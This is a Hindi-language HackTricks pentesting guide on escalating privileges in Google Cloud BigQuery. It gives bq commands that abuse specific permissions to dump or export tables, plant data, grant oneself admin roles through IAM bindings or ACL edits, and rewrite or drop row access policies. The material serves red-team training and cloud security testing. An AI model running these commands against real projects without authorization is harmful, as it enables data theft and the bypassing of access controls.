GCP - BigQuery Privesc
Reading time: 5 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
BigQuery
BigQuery के बारे में अधिक जानकारी के लिए देखें:
Read Table
BigQuery तालिका के अंदर संग्रहीत जानकारी को पढ़ने से संवेदनशील जानकारी मिलना संभव हो सकता है। जानकारी तक पहुँचने के लिए आवश्यक अनुमति bigquery.tables.get
, bigquery.jobs.create
और bigquery.tables.getData
है:
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
डेटा निर्यात करें
यह डेटा तक पहुँचने का एक और तरीका है। इसे एक क्लाउड स्टोरेज बकेट में निर्यात करें और जानकारी के साथ फ़ाइलें डाउनलोड करें।
इस क्रिया को करने के लिए निम्नलिखित अनुमतियों की आवश्यकता है: bigquery.tables.export
, bigquery.jobs.create
और storage.objects.create
।
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
Insert data
यह संभव है कि कुछ विश्वसनीय डेटा को Bigquery तालिका में किसी अन्य स्थान में एक कमजोरियों का लाभ उठाने के लिए पेश किया जाए। यह bigquery.tables.get
, bigquery.tables.updateData
और bigquery.jobs.create
अनुमतियों के साथ आसानी से किया जा सकता है:
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
# Via insert param
bq insert dataset.table /tmp/mydata.json
bigquery.datasets.setIamPolicy
एक हमलावर इस विशेषाधिकार का दुरुपयोग करके अपने लिए और अधिक अनुमतियाँ प्राप्त कर सकता है एक BigQuery डेटासेट पर:
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
bigquery.datasets.update
, (bigquery.datasets.get
)
यह अनुमति केवल ACLs को संशोधित करके BigQuery डेटासेट पर आपकी पहुँच को अपडेट करने की अनुमति देती है जो यह दर्शाती है कि कौन इसे एक्सेस कर सकता है:
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>
bigquery.tables.setIamPolicy
एक हमलावर इस विशेषाधिकार का दुरुपयोग करके अपने लिए और अधिक अनुमतियाँ प्राप्त कर सकता है एक BigQuery तालिका पर:
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
bigquery.rowAccessPolicies.update
, bigquery.rowAccessPolicies.setIamPolicy
, bigquery.tables.getData
, bigquery.jobs.create
दस्तावेज़ों के अनुसार, उल्लेखित अनुमतियों के साथ एक पंक्ति नीति को अपडेट करना संभव है।
हालांकि, cli bq
का उपयोग करते समय आपको कुछ और चाहिए: bigquery.rowAccessPolicies.create
, bigquery.tables.get
।
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
यह संभव है कि पंक्ति नीतियों की गणना के आउटपुट में फ़िल्टर आईडी पाया जा सके। उदाहरण:
bq ls --row_access_policies <proj>:<dataset>.<table>
Id Filter Predicate Grantees Creation Time Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
यदि आपके पास bigquery.rowAccessPolicies.delete
है बजाय bigquery.rowAccessPolicies.update
के, तो आप नीति को बस हटा भी सकते हैं:
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
caution
पंक्ति पहुँच नीतियों को बायपास करने का एक और संभावित विकल्प प्रतिबंधित डेटा के मान को बदलना होगा। यदि आप केवल तब देख सकते हैं जब term
Cfba
है, तो बस तालिका के सभी रिकॉर्ड को term = "Cfba"
में संशोधित करें। हालाँकि, यह bigquery द्वारा रोका गया है।
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।